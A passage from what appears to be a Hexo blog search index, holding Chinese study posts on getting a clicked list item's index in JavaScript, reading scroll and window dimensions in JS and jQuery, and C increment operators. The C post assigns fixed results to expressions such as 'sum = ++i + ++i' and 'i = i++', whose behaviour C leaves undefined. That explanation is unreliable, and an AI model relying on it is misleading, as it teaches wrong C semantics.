i&#x3D;0;i&lt;list.length;i++) {<br>  acti(i);<br>}</p><p>方法3:(添加自定义属性index法)</p><p>把每个li元素加上自定义属性index,在li被点击时获取相应index属性即可</p><p>var ul &#x3D; document.getElementById(“list”);<br>var list &#x3D; ul.querySelectorAll(‘li’);<br>for (var i &#x3D; 0; i&lt;list.length; i++) {<br>   list[i].index &#x3D; i;&#x2F;&#x2F; 为每个li添加自定义属性并相应赋值<br>}<br>ul.addEventListener(‘click’,function(e){&#x2F;&#x2F; 为整个ul添加click<br>   console.log(e.target.index);&#x2F;&#x2F; 输出click target(即被点击的li) 对应的index值<br>})</p><p>方法4：(数组indexOf元素索引定位法)</p><p>获取ul下的所有li，找到被点击li在所有li中的位置</p><p>ul.addEventListener(‘click’,function(e){<br>   var item &#x3D; e.target;<br>   var listArr &#x3D; Array.from(list);<br>   console.log(listArr.indexOf(item));<br>})</p>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> js </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Js,jq获取 滚动条高度 及 浏览器宽高</title>
      <link href="/posts/js-jq-huo-qu-gun-dong-tiao-gao-du-ji-liu-lan-qi-kuan-gao/"/>
      <url>/posts/js-jq-huo-qu-gun-dong-tiao-gao-du-ji-liu-lan-qi-kuan-gao/</url>
      
        <content type="html"><![CDATA[<p>&#x2F;&#x2F; 获取 滚动条高度<br>console.log(window.scrollY);  <br>console.log(window.pageYOffset);<br>console.log(document.documentElement.scrollTop);  &#x2F;&#x2F; chrome下document.body.scrollTop值恒为0<br>console.log($(window).scrollTop());<br>console.log($(“html,body”).scrollTop());<br>console.log($(document).scrollTop());</p><span id="more"></span><p>&#x2F;&#x2F; 浏览器窗口可视区 宽度(不包含滚动条)<br>console.log(document.body.clientWidth);    &#x2F;&#x2F; document.documentElement<br>console.log($(document.body).width());    &#x2F;&#x2F;$(document.documentElement), $(“html,body”) 和 $(window)都可<br>console.log(window.innerWidth);  &#x2F;&#x2F; 包含滚动条!</p><p>&#x2F;&#x2F; 值会随窗口变窄而减小(数值未发现规律),但最终不会小于 最初设置的document宽<br>console.log($(document).width());</p><p> </p><p>&#x2F;&#x2F;浏览器可视区 高度(不包含滚动条)<br>console.log(document.documentElement.clientHeight);<br>console.log($(window).height());<br>console.log(window.innerHeight);</p><p>&#x2F;&#x2F; 最初document 的高度(即使js改变了文档宽高也无效)<br>console.log(document.body.clientHeight);<br>console.log($(document.body).height());    &#x2F;&#x2F; $(document.documentElement)和 $(“html,body”) </p><p>console.log(window.outerWidth);  &#x2F;&#x2F; Chrome测试发现比inner多14px,不知为何<br>alert(window.outerHeight);  &#x2F;&#x2F; 似乎不是浏览器高!</p>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> js </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>C语言之自增探讨</title>
      <link href="/posts/c-yu-yan-zhi-zi-zeng-tan-tao/"/>
      <url>/posts/c-yu-yan-zhi-zi-zeng-tan-tao/</url>
      
        <content type="html"><![CDATA[<p>sum &#x3D; ++i + ++i的处理结果在 不同的编程语言（如java，js）及不同的编译器中可能有差异，以下仅针对C语言！纯粹个人理解，仅供参考。。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&quot;stdio.h&quot;</span></span></span><br><span class="line"><span class="type">void</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;                             </span><br><span class="line">    <span class="type">int</span> i=<span class="number">1</span>,sum;</span><br><span class="line"><span class="comment">/*  i = i++; //i=2 先赋值，再运算</span></span><br><span class="line"><span class="comment">    i = ++i; //i=2 先运算，再赋值</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;i=%d\n&quot;</span>,i); </span><br><span class="line"></span><br><span class="line"><span class="comment">/*注意：</span></span><br><span class="line"><span class="comment">a=++i; 等效为：i=i+1；a=i； </span></span><br><span class="line"><span class="comment">a=i++; 等效为：a=i；i=i+1；</span></span><br><span class="line"><span class="comment">sum=a+b;</span></span><br><span class="line"><span class="comment">a，b各自的 返回值 与 i值 不相关！</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//sum = ++i + ++i;</span></span><br><span class="line"><span class="comment">//6【未验证！左++i先自增为2暂不返回，右++i由i=2继续自增为3（i=3）完成 b=i 并返回，同时左++i也 完成 a=i 返回3结束。两者相加为6】</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//sum = i++ + ++i;</span></span><br><span class="line"><span class="comment">//4【左i++ 完成 a=i 先返回1结束，之后左i自增为2，右++i继续自增为3 完成 b=i 并返回3，结束，两者相加为4】</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//sum = i++ + i++;</span></span><br><span class="line"> <span class="comment">//2【左i++ 完成 a=i 先返回1结束，右i++ 完成 b=i 同时返回1结束，两者相加为2】</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//sum = ++i + i++; </span></span><br><span class="line"><span class="comment">//4【左++i先自增为2（i=2）暂不返回，右i++ 完成 b=i 直接返回2，左 同时返回2，结束，两者相加为4】</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">    sum = i++; //sum=1 ,i=2</span></span><br><span class="line"><span class="comment">    sum = ++i; //sum=2 ,i=2</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line">   <span class="comment">//printf(&quot;sum=%d\n,i=%d\n&quot;,sum,i);  </span></span><br><span class="line">&#125;    </span><br></pre></td></tr></table></figure><h2 id="要点："><a href="#要点：" class="headerlink" title="要点："></a>要点：</h2><ol><li>++i是先运算，再赋值。i++是先赋值，再运算！</li><li>完成 赋值表达式 便 返回值，与 i值 不相关！</li></ol><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">sum = i++; <span class="comment">//sum=1 ,i=2</span></span><br><span class="line">sum = ++i; <span class="comment">//sum=2 ,i=2</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;sum=%d\n,i=%d\n&quot;</span>,sum,i);</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> C </tag>
            
        </tags>
      
    </entry>
    
    
  
  
</search>
